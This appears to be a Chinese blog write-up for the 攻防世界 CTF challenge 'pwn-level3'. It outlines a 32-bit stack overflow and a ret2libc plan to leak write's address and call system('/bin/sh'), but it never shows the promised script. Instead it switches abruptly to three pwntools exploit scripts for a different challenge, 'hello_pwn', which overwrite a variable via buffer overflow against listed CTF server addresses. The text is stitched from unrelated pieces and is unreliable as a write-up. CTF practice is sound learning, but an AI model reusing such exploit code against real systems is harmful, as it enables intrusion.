【攻防世界pwn-level3】

本文详细介绍了如何分析一个32位程序的栈溢出漏洞,通过ida查看代码发现缺少system和bin/sh,但提供了libc。通过理解plt表和got表的工作原理,计算libc的偏移量,实现两次栈溢出:第一次获取write的实际加载地址,计算system和bin/sh地址,第二次调用system执行shell。最后展示了攻击脚本的编写和攻击过程。

下载文件后首先查看保护,发现可以进行栈溢出攻击

将文件拖入32位ida

进入vulnerable_function后,发现了read处有栈溢出漏洞

在查看代码后,发现没有提供system和bin/sh,但是由于给了libc,所以可以找到libc的偏移量,然后计算出system和bin/sh的加载地址。

对于plt表,got表,实际加载地址,我是这么理解的:通过elf.plt['write']获取到的是write在plt表中的地址1,这个地址1上存放的实际内容是write在got表的地址2,而这个地址2存放的是lib中write的实际加载地址3

攻防世界pwn题hello pwn有多份解题代码可作为答案参考: - 代码一: ```python from pwn import * # io = process("./hello_pwn") io = remote("111.200.241.244",65258) io.recvuntil("lets get helloworld for bof") #unk_601068与dword_60106C之间有4字节的空间,所以使用4个A填充 #随后使用预期数据1853186401覆盖dword_60106C payload = b'A' * 4 + p64(1853186401) io.sendline(payload) io.interactive() ``` 此代码中,先建立远程连接,等待特定提示信息,构造包含填充字符和预期数据的`payload`,发送`payload`后进入交互模式 [^2]。 - 代码二: ```python from pwn import * context(os='linux', arch="amd64", log_level="debug") os = remote('61.147.171.105',61286) os.recvuntil('lets get helloworld for bof\n') payload = b'a'*(0x6c-0x68) + p64(1853186401) os.sendline(payload) os.interactive() ``` 该代码先设置上下文信息,建立远程连接,等待特定提示信息,根据内存地址差值构造`payload`,发送`payload`后进入交互模式 [^3]。 - 代码三: ```python from pwn import* p = remote('61.147.171.105',53737) # 将字符串转换为字节对象 str_bytes = 'a'*4 # 构造payload payload = str_bytes.encode() + p64(1853186401) p.recvuntil("lets get helloworld for bof\n") p.sendline(payload) p.interactive() ``` 代码从`pwn`库导入所有功能,创建远程连接对象,构造包含4个`a`的字符串并转换为字节对象,与预期数据拼接成`payload`,等待特定提示信息后发送`payload`,最后进入交互模式 [^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值